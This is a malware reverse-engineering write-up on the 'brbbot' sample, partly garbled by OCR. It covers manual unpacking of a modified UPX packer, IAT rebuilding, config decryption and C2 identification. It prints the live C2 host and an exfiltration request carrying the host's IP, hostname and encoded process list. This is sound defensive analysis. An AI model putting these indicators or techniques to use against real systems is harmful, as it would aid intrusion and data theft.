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Malware Name File Type @ SHA256

Brbbot x64 exe F9227a44ea25a7ee8148e2d0532b14bb640f6dc52cb5b22a9f4fa7fa037417fa

Analysis process

First thing first, I started Procmon in order to get an idea of the malware main activities:

Process Name PID Operation Path
- brbbot exe 808 [BhWriteFile C:\Users\IEUser\AppData‘\Roaming\brbbot .exe
B- brbbot exe 808 B«Wn‘teﬁle C:\Users\|IEUser\Desktop‘\brbconfig tmp

Two interesting operations that were seen, were dropping a config file and self-copying to \AppData\Roaming\

path. Opening the file in Pestudio we see that the file is packed using UPX:

property value value value

name NPX0 UPX1 JISIC

md5 1FD7E43F058CEDIDC36862F... 070CD68086C42D2D69ESE2...
entropy 7.892 2059

file-ratio (97.22%) 9444 % 278 %

raw-address x0000040 0x00000400 0x00008C00

raw-size (35840 bytes) 00000000 (0 bytes 0x00008800 (34816 bytes) 000000400 (1024 bytes)
virtual-address 0x0000000040001000 0x0000000040012000 0000000004001 B000
virtual-size (110592 bytes) 0x00011000 (69632 bytes) 0x00009000 (36864 bytes) 0x00001000 (4096 bytes)
entry-point 0x0001A4A0

writable x x x

executable X X

Trying to unpack it using UPX will throw an error:

EN Administrator: Windows PowerShell

P5 C:yUsersyIEUseryDesktop= upx -d -o brbbot_unpacked. exe ."%brbbot.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3. 96w Markus Oberhumer, La o Molnar & John Reiser Jan 23rd 2020

File size Ratio Format

upx: .%brbbot.exe: CantUnpackException: file is possibly modified/hacked/protected; take care!

Unpacked 0 files.

This suspicious error indicates that the malware packed using UPX but then modified in such a way that the tool

would not be able to unpack it back again. If we pay attention closely to the image above, we can see that one
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section renamed to NPXO (it should be UPXO0). Therefore, there are two ways to unpack the malware:

e Modify the PE file on disk by renaming the section NPX0 — UPXO0, then try to unpack using UPX tool
again (at the end of this WriteUp)

e Unpack it in memory using a debugger.

It is Important to note that the first method suitable just for very specific cases, most malware would be packed

with custom & unknown packers, therefore, unpacking them must occur in memory.
So, dropping the sample to x64dbg...

A known trick (suitable for packers that work like UPX) to find OEP (Original Entry Point) is to locate a jmp
opcode followed by a bunch of NULL bytes, that jumps high and far to a distant location. This is the point where

the code decrypted / decompressed / decoded itself in memory and now jumping to the real deal — OEP.

So found it and break on it:

® | DDDOFFFE49T7AAGDA SE pop rsi
® | DDDOFFFE49TAAGDE 5B pop rbx
® | D000FFFE497AMEDC 48:8D4424 80 1ea rax,qword ptr ss:[rsp-50]
® | DO0OOFFFE497AMGEL 64A 00 push 0
®| ODO0O0OFFFGE497AMGES 48:39C4 cmp Fsp,rax
® | DO0O0OFFFGE497AMGEG ~ 75 F9 jne brbbot.7FFE497AAGEL
® | D0007FFG6497AMGES 48: 83EC B0 sub rsp,FFFFFFFFFFFFFFB0
>8 ~ E9 A3Z9BFEFF jmp brbbot.7FF6E49793F 94
® | ODDOFFFG497AAGFL 0000 add byte ptr ds:[rax],al
® | ODOOFFFG497AAGF3 0000 add byte ptr ds:[rax],al
® || DDOOFFFG497 AAGFS 0000 add byte ptr ds:[rax],al
® | ODOOFFFG497 AAGFT 0000 add byte ptr ds:[rax],al
® | DDOOFFFG497 AAGFD 0000 add byte ptr ds:[rax],al
® | ODOOFFFG497 AAGFE 0000 add byte ptr ds:[rax],al
® || 0DOOFFFG497 AAGFD 0000 add byte ptr ds:[rax],al
® | DDO0OFFFG497 AAGFF 0000 add byte ptr ds:[rax],al
® | DDOOFFFG497AATOL 0000 add byte ptr ds:[rax],al
@ | ODOOFFFG497AATOS 0000 add byte ptr ds:[rax],al
® || DDO0OFFFG497 AATOS 0000 add byte ptr ds:[rax],al
® | DDOOFFFG497AATOT 0000 add byte ptr ds:[rax],al
® | DDOOFFFG497AATOD 0000 add byte ptr ds:[rax],al
@ | 0DO0OFFFG497AATOB 0000 add byte ptr ds:[rax],al
® | DDOOFFFG497AATOD 0000 add byte ptr ds:[rax],al
® | DDOOFFFG497AATOF 0000 add byte ptr ds:[rax],al
® | ODOOFFFG497AATLL 0000 add byte ptr ds:[rax],al

Single-step and we landed at OEP:
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Now we are at the entry point of the real malware business, and all the imports should be resolved by the UPX

loader in that point, so we use the built-in tool Scylla to rebuild the IAT and dump the unpacked malware to disk:

00007 FFE49723F92
00007 FFG4 _9:F9:

00007

00007 FFG49 9:F9b
00007 FFE497 23F 3D
00007 FFE49793FAL
00007 FFE497 93FAG
00007 FF6497 33FAY
00007 FFE49793FASB
00007 FFE&497 33FAD
00007 FF649793FE4
00007 FFE49793FEE
00007 FFE497 23FCL
00007 FF&49793FCE
00007 FF&497 93FCD
00007 FF&497 33FDO
00007 FFE49793FD5
00007 FFEe497 33FDA
00007 FF6497 93FDF
00007 FFE49793FE4
00007 FFEe497 23FEA
00007 FFE49793FEC
00007 FFE497 93FFS
00007 FFE497 93FFA
00007 FFE49793FFF
00007 FF&497 24004
00007 FF&497 24009
00007 FFE497 94010

MNOANNTCCCAQGTOGANIC
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CC

CC

48:83EC 28

E8 F7430000
48:83C4 28

E9 52FEFFFF

CC

CC

48:894C24 08
48:B81EC BE000000
45:8D0D O5F50000
FF15 L7A20000
48: 8B05 FOF50000
45:894424 5E
45:33C0
45:8D5424 60
43:8BB4C24 LB

ES B33200000
45:894424 50
48:837C24 50 00
74 41

48:C74424 38 0000000

483:8D4424 48
45:894424 30
483:8D4424 40
43:894424 28
45:8D05 BOF40000
48:894424 20

AT = DDATTIA CMN

ints

int3

sub rsp,28

call brbbot.7FF&49798994

add rsp,28

jmp brbbot.7FF&49793DF8

ints

int3

mov gword ptr ss:frsp+8J,rcx

sub rsp,&88

Tea rcx,qword ptr ds: [FFF&e497A34C0]
call qwurd ptr d=s: [<eRtICaptureContexts
mov rax,qword ptr ds: [FFFE497A35B8]
mov gword ptr ss:firsp+58f,rax

xor r8d,rsd

Tea rdx,gword ptr ss:[irsp+e0j

mov rcx,gword ptr ss:|rsp+sEej

£all <iMP.&RtlLoockupFunctionEntry=
mov gword ptr ss:frsp+50f,rax

cmp gword ptr ss:frsp+S0Q,0

je brbbot.7FF&e49793402D

mov gword ptr ss:firsp+38),0

lea rax,gword ptr ss:|rsp+4:&]

mov gword ptr ssifirsp+30f,rax

Tea rax,gword ptr ss:[irsp+40{

mov qword ptr ss:ffrsp+28),rax

Tea rax,qword ptr ds: [FFF6497A34C0]
mov gword ptr ss:frsp+20f,rax

mrry =0 mamed nte oo s Bromaec ndl
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B soz:640038 - X

File lrmports Trace Misc Help

Attach to an active process
1176 - brbbot. exe - C:\Users\[EUser\Desktop'brbbot.exe » | | PideDLL

Impaorts

advapi32.dl {14) FThunk: 0000E0QD
kernel32.dll (86) FThunk: D0000EDTS
user32.dll (1) FThunk: 0000E330
wininet.dll (%) FThunk: 0000E340
ws2_32.dll (5) FThunk: 0000E320

SR 444

Show Inwvalid Show Suspect Clear
IAT Info Actions Dump
OEP | 00007FFe43 733734 | IAT Autosearch Autotrace Dump PE Rebuild
VA | 0DODTFFE4979E000 |
Get Imports Fix D
Size | 00000388 | HeEume
Log
IAT Search Adv: Found 115 (0x73) possible IAT entries. ~

] IAT Search Adv: Possible IAT first 00007FFE4573E000 last 0000 FFFG4279E3ED entry.
IAT Search Adv: IAT VA 00007FF&4979E000 RYA 000000000000EDDD Size Ox03B3 (952)
IAT Search Mor: IAT VA 00007FFG49790FFE RVA 0000000000000FFE Size 0x03C0 (960)
IAT parsing finished, found 115 valid APIs, missed 0 APIs

DIRECT IMPORTS - Found 0 possible direct imparts with 0 unigue APIs!

Pl ey ) e e R

Imports: 115 # Invalid: 0 Imagebase: 00007FFE49TI0000 | brbbot.exe

T T T oo OO T T

We can see now new suspicious libraries and imports that were not there on the packed file.
Observing the strings of the dumped file reveals some gems:

Upx1

brbconfig.trnp

EXEC

Software'Microsoft Windowsh CurrentVersion\Run

Mozilla/4.0 {compatible; MSIE 8.0: Windows MT 6.1: Trident,/4.0]

e There is a malware config file named brbconfig.tmp (that we already saw under procmon).
e Autorun key for persistense

e User-agent that indicated on a http request
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Looking at the resources:

type (1] narme file-offset (1) signature non-standard  size (73 bytes) i
COMFIG 101 D00 FOT0 unknown X 73 i

We can see a "CONFIG" resource, saving to disk:

Q{’ Ch\Users\IEUser\Desktophconfig.dump - Notepad++
File Edit Search View Encoding Language Settings Tools Macro Run Plugins  Window 7
cHHEE LA sMk|oec/ah 2a%xBEIT EREHo® | NENEE

[ config dump E3 |

L oeE 2 A GEINE « ¥ vIEn @RS -D | T*a0yViusvalr '

eeergg! probably encrypted...

Sooo.. moving back again to debugging:

Cm g s e e . v e e e prmr e e o
® | ODODFFFG497942A9 897424 TO mov dword ptr ss:|[rsp+7of,esi

® | ODODFFFG4979424D B97C24 T4 mov dword ptr ss:|firsp+74),edi

®| 0ODODFFFG497942B1 48: 8945 B0 mov gword ptr ss:|rbp-s80f,rax

. FF15 459F0000 call gword ptr ds:[<&IsDebuggerPresent>]

® || 00007 FFE427 242BE 33C9 Xor ecx,ecx

® || 00007 FFE427 242BD BBFE mov edi,eax

®| ODD0O7FFG&497 942BF FF15 339F0000 call qword ptr ds:[<&SetUnhandledExceptionFilter=]
&l NNNTERFRAQG7 QAL AR AN AT 74 AR Tea rrv mMmuwnrd ntr o' Bren+anl

There is a call to IsDebuggerPresent , not quite sure if this is an anti-debugging attempt (if it is, it's really poor

one) or part of the compiler nonsense, so anyway we'll use ScyllaHide:
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[ScyllaHide Options] Profile: VMProtect x86,/%64

Profiles

Loaded: VMProtect x86/x64

Debugger Hiding

MitSetDebugFilterState

MtClose

Hide from PEE
- BeingDebugged

- HeapFlags

- MtGlobalFlag

- StartupInfo
NtsetinformationThread
MtsetinformationProcess [ |
MtQuerySystemInformation |:|
MtQueryInformationProcess
NtQueryObject
Nt¥ieldExecution ]
MtCreateThreadEx ]
OutputDebugStringa ]
BlockInput ]
MtUserFindWindowEx ]
MtUserBuildHwndList ]
MtUserQueryWWindow ]
[]

[]

Remove Debug Privileges

Copyright 2014 by Aguila / cypher

DR Protection [ ]
MtGetContextThread
MtsetContextThread
MiContinue

KillserExceptionDispatcher

Timing Hooks
GetTickCount
GetTickCounts4

Get ocalTime
GetSystemTime
MiQuerySystemTime
MtQueryPerf. Counter

DLL Imjection
() stealth Injection
(®) Normal Injection

[ ]unload after DLLMain

oood

OOoodon

QK

Spraying some BP's on some interesting API calls:

e Create new profie...

Misc
Kill Anti-Attach

Spedal Hooks

Prevent Thread creation

RunPE Unpacker

O

0
[

Apply

ﬁ CPU | Log | _H Motes #® Breakpoints B Memory Map [V call Stack ‘=7 SEH 23] Seript ‘ﬁ Symbals <> Source #~ References =

Type Address Module/Label /Exception State | summary Hit| Disassembly

softwal
00007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&CreaterileA>]
0000TFF7O65 4 brbbot_dump_scy.exe Enable 0 call gword ptr ds:[<&CreateFileA>]
DD007FF7065 4 brbbot_dump_scy. exe Enable 0 call gword ptr ds:[<&CreateFileAs]
00D007FF7065 4 brbbot_dump_scy.exe Enable 0 call qword ptr ds:[<&CreaterFileA>]
ODOO7FF7065 4 brbbot_dump_scCy.exe Enable 0 call qword ptr ds:[<&CreateProcessA=]
0000TFF7O65 4 brbbot_dump_scy.exe Enable 0 call gword ptr ds:[<&CreateProcessA=]
00D007FF7065 4 brbbot_dump_scy.exe Enable 0 call qword ptr ds:[<&CrypiDecrypt>]
00D007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&CryprLEncrypt>]
D0007FF7065 4 brbbot_dump_scCy.exe Enable 0 call qgword ptr ds:[<&DeleterileAs]
DD007FF7065 4 brbbot_dump_scy. exe Enable 0 call gword ptr ds:[<&DeleteFileAs]
00D007FF7065 4 brbbot_dump_scy.exe Enable 0 call qword ptr ds:[<&DeleterileAx]
ODOO7FF7065 4 brbbot_dump_scCy.exe Enable 0 call qword ptr ds:[<&FindResour cess>]
0000TFF7O65 4 brbbot_dump_scy.exe Enable 0 call gword ptr ds:[<&GetTempFileNameA:>]
00007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&GetTempPathax]
00D007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&HCTpOpenRequestA>]
ODOO7FF7065 4 brbbot_dump_scCy.exe Enable 0 call qword ptr ds:[<&HttpSendRequestA=]
DD007FF7065 4 brbbot_dump_scy. exe Enable 0 call gword ptr ds:[<&InternetConnectAs]
00D007FF7065 4 brbbot_dump_scy.exe Enable 0 call qword ptr ds:[<&Internetopens>]
ODOO7FF7065 4 brbbot_dump_scCy.exe Enable 0 call qword ptr ds:[<&InternetQueryDatasvailable=]
0000TFF7O65 4 brbbot_dump_scy.exe Enable 0 call gword ptr ds:[<&IsDebuggerPresents=]
00007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&IsDebuggerPresent>]
00D007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&LoadResources]
ODOO7FF7065 4 brbbot_dump_scCy.exe Enable 0 call qword ptr ds:[<&8MoveFileExA>]
DD007FF7065 4 brbbot_dump_scy. exe Enable 0 call gword ptr ds:[<&8MoveFileExA>]
00D007FF7065 4 brbbot_dump_scy.exe Enable 0 call qword ptr ds:[<&MoveFileExA>]
00007FF7065 4 brobot_dump_scy.exe Enable 0 call qword ptr ds:[<&8ReadFile=]
0000TFF7O65 4 brbbot_dump_scy.exe Enable 0 call gword ptr ds:[<&RegDeleteValuea=]
DD007FF7065 4 brbbot_dump_scy. exe Enable 0 call gword ptr ds:[<&RegSetvValueExax]
00D007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&TerminateProcess:]
ODOO7FF7065 4 brbbot_dump_scCy.exe Enable 0 call qword ptr ds:[<@8WriterFile=]
00007FF7065 4 brbbot_dump_scy. exe Enable 0 call gword ptr ds:[<@WriteFilex]
00D007FF7065 4 brbbot_dump_scy.exe Enable 0 call qword ptr ds:[<&WriterFilex]
00D007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&8writeFilex]
0000TFF7O65 4 brbbot_dump_scy.exe Enable 0 call gword ptr ds:[<&8WriteFilex]
DD007FF7065 4 brbbot_dump_scy. exe Enable 0 call gword ptr ds:[<&wWriteFilex]
00D007FF7065 4 brbbot_dump_scy. exe Enable 0 call qword ptr ds:[<&gethostnames: ]

First BP we encountered is CryptDecrypt :
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@ preskpoints ™ MemoryMap () CallStack  S@seH  [of saipt  Esymbols <O sowce S R W Threads ok Handles
FFIS €all Gword ptr Hsf[<iryptbecrypts] =
00007 FF649792E80 8sco test sk eax
00007FF649792E82 | v 74 38 e brbbot.7FFe49792EBC
00007FFE49792E84 24:8E8424 9000 mov rad,dword pTr cs:[rsp+oof RAX|  SOFHINIOG SRR
0D007FF649792E8C 4813806 mov rdx,rsl REX  0000000000000001
00007FFE49792E8F 481 88CD mov_rcx,rop ECX  000DDOODOO9ESGG0
0D007FF649792E92 €8 695E0000 | Eall brbbot.7FFE49798000 EDX  0000D00000D0D0000
00007FFE49792E97 3302 XoF edx, 2dx REP  000DDOODOOSDEADO
0D007FF649792E99 41:88 E803000( mov rad,3E5 RSB 000DDOODODSFF720
00007FFE49792E9F 481 88CE mov_rcx,rsi RSI  000DDODDOOSESCSD
0D007FF649792EA2 €8 09160000 | Eall brbbot.7FF649794480 RDT  000DDOODOGOOOOOG
00007FFE49792EA7 44188524 9000 MOV r1id,dwora pTr =i [rsp+so]
0D007FF649792EAF 45:03€8 add rbp,ril
00007FFE49792E82 24DE test bl,ol ey
0DOO7FFE49792E84 | ~ OFB4 G6GFFFFFF | je brbbot.7FFe49792E20 o
O0007FFE49792EBA | v EB 17 Jmp brbbnt.?FFB49?92ED] L L
00007 FFE43792ERC FF1s 36820000 | G qword prr ds: [<8GECLASTEFFOFS] Ell  0000000000000246
00007FFE43792EC2 B5CO test eax,eax R12  00000000000000FS
0D007FF6497926Cs | v 7F 04 da brbbot. 7FFcas7azeCA R13  0000D0000D0DOOOL
00007FFE49792ECE s8F8 mov edi R1:  0000000000000000
0D007FFE49792ECE | v EB 09 il ebbere -7FFe49792603 RIS 0D000DOODOODDOOOO
00007FFE43792ECA 0FE7FS movzx_edt
0D007FF649792ECD B1CE 00000780 | or £t 203 0000 RIP  00007EFG45792E7A
00007FFE43792ED3 FF15 OFB20000 | Eall qword prr ds:[<&GetProcessHeaps]
0D007FF649792ED9 4c:88CE mov rs,rsi
00007FFE43792| 3302 Xor edx, eax (A Aemsn]
0D007FF649792EDE 45:88C8 mov_rox,ra e L oAkl
00007FFE49792EEL #715 Fo810000 |EAT1 aword prr os: [<aHeapFress]
0D007FF649792EE7 48:886C24 68 |mov rbp,qword ptr ss:[rspt6s CFo TF1 IF1
0D007FFE43792EEC 4D: 85E4 test ri2,riz
0D007FFE49792EEF | v 74 09 je brbbot.7FFe49792EFA Lasterror 00000000 (ERRC
0D0O7FFE43792EFL 45: 88CC mav_rox,riz Laststatus 00000000 (STAT
0D007FFE49792EF 4 FF15 1EB20000 | €M qword ptr ds: [«acloseHandles]
0D0O7FFE43792EFA 48:884C24 40 |mov rox,qword ptr ss:[frspra0] GS 0028 FS 0053
0D007FF649792EFF 4C:886C24 50 |mov ri3,qword ptr ss:frspi50] £5 0028 D3 0028
0DOO7FFE43792F04 4C: 886424 58 |mov riz,qword ptr ss:[rspr53] Cs 0033 55 002B
0D007FF649792F09 481887424 60 |mov rsi,qword ptr ss:frspreo]
0D0O7FFE43792FOE 48:889C24 800( mov rbx,qword ptr ss:[rspraD
O6b07ccesarosre | asiascs Torc Peaorey ber ssilrspesol SR G
0D0O7FFE43792F13 | v 74 06 5= brbbot. rrEeasyazEal S L) RnO0000000000D000000
0D007FF649792F 18 F£F15 3FB10000 |Eall qword ptr ds: [<aCryptDestroyHashe] a
0D0O7FFE43792F21 48:884c24 43 |mov rox,quord per =si[reprid)
00007FF649792F26 4518509 TesT rox,rc v Defauk(xsqfﬁstﬁ\n
ononzrERsarazeza | . 74 0 S Rehbat rraaazaseat
& D 5660 <
T DD000DODODO0A00D
quord ptr d F64979E055 <brbbot. &CryptDecrypt>]=<advapi32.Cryptecrypt> 8 0000000000000001
9 000000000D00000D
[rsp+2z0] 000D00000OSES:
NPX0:00007FFE45792E7A brbbot. exe: S2E7A #0
3 50OODDO00O0D]
@Woump1  Ypump2  Whoump3  WhHDump4  WWoumps @ wakhi  bellocals ) Struct e )
T o T ]| 20000000005 7 00DBDOO0GDSC
ODDODDODDDSESCSD (BB 9C C3 AA|DF 58 67 11]66 AB FE 23|79 07 GE 17|,.A°E.g.Tapey.n. RN R HIGOD0RC 0G|
00000DD000SESCED (F2 B7 44 7C|DD 2A FA 20|79 56 4C 75|A2 76 71 7D|8-D|V*lOyVLUSVL
e N E R TR R EHE S 58 2 &% AlEehrsd s\g} e e
00000DD000SESCED | AQ 17 ED DC|01 44 2D 95 |2C 1D 12 3C|88 BF CE 00000000002 H G0DG000004B] * far
0DDODDODDDSESCSD | 68 CO 61 16|46 BS OC 16(92 DO DO 00|00 DO OO 0O e e
000000D000SESCAD |00 00 00 0000 00 00 00[00 00 00 00|00 00 0O O e S
0DDODDODDOSESCED 0O 00 DO DO|0O 0O 00 00(00 OO 0O 00|00 0O DO 0O e e
0000000000IESCCO |00 00 0O 00|00 00 00 00(00 0O 00 00|00 00 0O 0O T )
000ODDOODOSESCDO |00 00 DO DO|0O 0O 00 0O(00 OO 0O 00|00 0O DO 0O e
0000000000IESCED |00 00 0O 00|00 00 00 00(00 0O 00 00|00 00 0O 0O |
SEBBI000RECH| 8 B8 85 B0]20 50 59 88/88 58 B9 9]0 %0 89 8

This API call is used to decrypt blob of encrypted data (in conjuction with some more API calls from the
CryptXXXX family). Malware often use this call to decrypt a payload, a config, or a dropped file.

C++

BOOL CryptDecrypt(

[in] HCRYPTKEY hKey,

[in] HCRYPTHASH hHash,

[in] BOOL Final,

[in] DWORD dwFlags,
[in, out] BYTE *pbData,
[in, out] DWORD *pdwDatalen

As we can learn from MSDN the fifth argument (the grey one in the stack view) points to the blob of the

encrypted data (in the memory dump view).

So, single-stepping over that call should decrypt that blob:

ASCIT

uri=ads.php; exec
=cexe;Tile=elif;
conf=Fnoc;exit=t
ixe; encode=5h;s1
eep=30000.......

Vwallaaa !! this is the clear config :)
Config content:
"uri=ads.php;exec=cexe;file=elif;conf=fnoc;exit=tixe;encode=5b;sleep=30000"

e uri - the uri for the panel file on the c2
 exec, file, conf, exit - maybe bot commands?!

o encode - single byte key that will use us later on
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e sleep - sleep amount for some point

Keep debugging:

e

P
xor rad,rad
mov rdx,riz rdx:"brb. 3dtuts.

riz:"brb. 3dtuts.

458:8BCB mov rCx,rbx

C74424 28 0300 mov dword ptr ss:[ir

4C:896C24 20 [mov qgword ptr ss:ifr 3

FF15 &DB30000 | €all gword ptr ds:[<&InternetConnecta>]
mov rdi,gword ptr ss:[irsp+70{
mov rsi,qgword ptr ss:|f ] [rsp+68]: "brb. 3dtuts.
mov rbp,qword ptr ss:|f

test rax,rax
ine brbbot.7FFE49793301A

Malware is trying to call home :)
The stack arguments for InternetConnectA :

Default (x64 fastcall)

: rcx 0000000000CC0004

2: rdx 0000000000B4FF40 "brb. 3dtuts. by™
3: rs& 0000000000000050

! r9 0000000000000000

: [rsp+20] 0000000000000000

: [rsp+2s8] 0000000000000003

[rsp+30] 0000000000000000
[rsp+38] 0000000000000000

The MSDN for InternetConnectA :

C++

void InternetConnectA(

HINTERNET hInternet,
LPCSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCSTR lpszUserhame,
LPCSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext

)3

Second argument on the stack is our nice c2 address:
brb.3dtuts.by

The content that sent to the c2 was found nearby in memory using Process Hacker:

0xea0e00 (7668): http://brb.3dtuts.by/ads.php?
i=169.254.185.59&c=MSEDGEWIN10&p=123373e600822282f3e3660093e3c32282f29226028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e602c323537343¢3435
753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282753e233e603d343523f292d3334282f753e233e60282d383334282753e233e60282d38
3334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233
€60282d3833342821753e233e60282d3833342821753e233e60282d3833342821753e233e60282d3833342821753e233e600d193423083e292d32383e753e233e60282d383334282753e233e60282d383334282753e2
33e60282d383334282753e233e60282d383334282753e233e60282d383334282753e233e60282d383334282753e233e60163e363429227b1834362b293e282832343560282d383334282753e233e60282d383334
282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282753e233e60282d383334282f75
3e233e60282d383334282f753e233e60282d383334282f753e233e60282b343437282d753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e
60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60292e3922753e233e60282d383334282753e233e602c373628753e233e601628162b1e353c753e233e60282d38333428275
3e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e6028323334282753e233e60282d383334282753e233e60282d383334282753e233e60
282d383334282753e233e602f3a28303334282f2c753e233e60282d383334282f753e233e60382f3d363435753e233e60282d383334282f753e233e603e232b3734293029753e233e60282d383334282753e233e6008
333e37371e232b3e29323e35383e1334282f753e233e60282d383334282f753e233e60083e3a2938330e12753e233e60092e35232363e192934303e29753e233e60092e35232363e192934303e29753e233e60282d38
3334282f753e233e60083e3a29383312353f3e233e29753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e60163238293428343d2f1e3f3c3e753e233e60282d383334282f753e233e603929342¢283
©2904392934303e29753e233e60282d383334282753e233e6002342e290b3334353e753e233e600830222b3e193a38303c29342e353f1334282f753e233e600c32353342c28750c1a090b7511120f083e292d32383e7
53e233e600830222b3e1a2b2b753e233e60092e352f32363e192934303e29753e233e60163238293428343d2f1e3f3c3e180b753e233e60163238293428343d2f1e3f3c3e0813753e233e60173438301a2b2b753e233e6
0092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60282d383334282753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e6028363
a292f2838293e3e35753e233e60083e382e29322f22133e3a372330822282f293a22753e233e60083e382e29322f22133e3a372f33083e292d32383e753e233e600d1934230f293a22753e233e6014353e1f29322d3e75
3e233e600c3235082f34293e751a2b2b753e233e60092e35232363e192934303e29753e233e60282d3833342821753e233e60282d3833342821753e233e60282d3833342821753e233e60083c2936192934303e29753e
233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e600c32353f342c2812352f3e29353a37751834362b34283a393
73e08333e3737751e232b3e29323e35383e28750f3e232f12352b2e2f7512352b2e2f1a2b2b753e233e603f37373334282f753e233e600822282f3e36083e2f2f32353¢28192934303e29753e233e60282d383334282753
©233e60282d383334282f753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353¢c28753e233e60282d383334282753e233e60236d63f393c753€233e600835322b2b32353c0f343437753e233e60282
d383334282f753e233e6039293939342f753e233e60083e3a2938330b29342f343834371334282753e233e60083e3a2938331d32372f3e291334282753e233e60393a38303c29342e353f0f3a28301334282753e233e6
0092e352f32363e192934303e29753e233e60282d383334282f753e233e600c36320b292d081e753e233e6038363753e233e603834353334282f753e233e60292e3922753e233e
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The malware exfiltrating the internal ip address, hostname and some encoded data.

Playing a little bit around with the encoded data and with the single byte key that retrieved before, brought me to

write a little python script to Hexdump the decoded data (the receipt is: unhex the data --> xor with the single byte
key):

import operator

def hexdump(src, length=16, sep="."):

FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or sep for x in range(256)])

lines = []

for ¢ in range(@, len(src), length):
chars = src[c: ¢ + length]
hex_ = ' ".join(['{:02x}".format(x) for x in chars])
if len(hex_) > 24:

hex_ = "{} {}'.format(hex_[:24], hex_[24:])

printable = ''.join(['{}'.format((x <= 127 and FILTER[x]) or sep) for x in chars])
lines.append('{0:08x} {1:{2}s} |{3:{4}s}|'.format(c, hex_, length * 3, printable, length))

return '\n'.join(lines)

def decoder(hex_string, key, op):
ops = {"xor": operator.xor, "and": operator.and_, "or": operator.or_}
if op not in ops:
return None
else:
byte_array = bytearray.fromhex(hex_string)
byte_array_result = []
for byte in byte_array:
byte_array_result.append(ops[op](byte, key))

return hexdump(byte_array_result)

def main():
text = "123373e60082228213e3660093e3c32282129226028362828753e233e603828292828753e233e602c323532353221753¢e2
key = 0x5b

print(decoder(text, key, "xor"))

main()
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S C:\Users\Owner\Desktop“Scripts> py ..“brbbot.py
PO 49 64 6c 65 3b 53 79 73 %4 65 6d 3b 52 65

IIdle;System;Regil
Istry;smss.exe;cs|
Irss.exe;wininit. |
lexe;ecsrss.exe;wil
Inlogon.exe;servil
Ilces.exe; lsass.ex|
le;svchost.exe;fol
Intdrvhost.exe;fol
Intdrvhost.exe;svl
Ichost .exe;svchos |
It.exe;svchost.ex|
le; dwm.exe;svechos |
It.exe;svchost.ex|
le;svchost.exe;svi
Ichost .exe;svchos |
|t.exe;svchost.ex|
le;svchost.exe;svi
Ichost.exe;svchos |
It.exe;VBoxServicl
le.exe;svchost.ex|
le;svchost.exe;svl
Ilchost .exe;svechos |
It.exe;svchost.exl
le;svchost .exe;Mel
Imory Compressionl
| ;svchost .exe;svcl
lhost .exe;svchost |
| .exe;svchost.exel
| ;svchost .exe;svel
Ihost .exe;svchost |
| .exe;svchost.exel
| ;svehost .exe;svel
lhost .exe;svchost |
| .exe;spoolsv.exel
| ;svchost .exe;svel
Ilhost .exe;svchost |
| .exe;jsvchost.exel
| ;svechost .exe;svel
Ilhost .exe;svchost |
| .exe;ruby.exe;svl
:NO = {=H M

The malware send the process list to the c2.
Rest of the malware functionality comes down to this:

Read a file from the c2:

moV edx, ebx

lea r9, [rsp+58h+dwNumberOfBytesRead] ; lpdwNumberOfByt
add rdx, rax ; lpBuffer

MoV rcx, rsi ; hFile

call cs:InternetReadFile

test eax, eax

jz short loc 7FF649791975

Create a new process:

xor écx; BCx H lpippiicaticnﬂame

mov [rsp+ll8h+dwCreationFlags], rl15d ; dwCreationFlags
Moy [rsp+1l8h+bInheritHandles], rl5d ; bInheritHandles
call cs:CreateProcessA

test eax, eax

jnz loc_ 7FFE497928CC

Both implies that the infection isn't over and the party continues with the next stage :)
Bonus — unpacking on disk

e Locate renamed section with a hex editor, and rename it to original:
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B [(UNSAVED] brbbot.exe - Reverse Engineers' Hex Editor
File Edit View Tools Help

D@3®®

0000:0214

10000000
0100ACO1
00600100
00000000
00000000
00000000
00000000
cQo00000
00000000
00000000
00100100
00000000
800000ED

00000000
000000B0
040B000O
00000000
00000000
00000000
00000000
00000000
00000000
oooofHs0
00100000
00000000

00000000
0100800
00000000
00000000
00000000
00000000
00000000
00000000
00000000
58200000
00000000
00000000
00000000

EBEBO
Q000
0000
0000
0000
0000
0000
0000
0000
0000
0004
Q000
0050

@ [UNSAVED] brbbot.exe - Reverse Engineers’ Hex Editor

File Edit View Tools Help

&3 ®

0000:016cC
0000:017A
0000:0188
0000:01%96
0000:01A4
0000:01B2
0000:01C0
0000: 01CE
0000: 01DC

0000:01F8
0000:0206
0000:0214

10000000
0100AC0O1
00600100
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00100100
00000000
800000ED

00000000
000000B0
040B0O000
00000000
00000000
00000000
00000000
00000000
00000000
0000E550
00100000
00000000
55505831

00000000
0100&800
00000000
00000000
00000000
00000000
00000000
00000000
00000000
58300000
00000000
00000000
00000000

o000
o000
o000
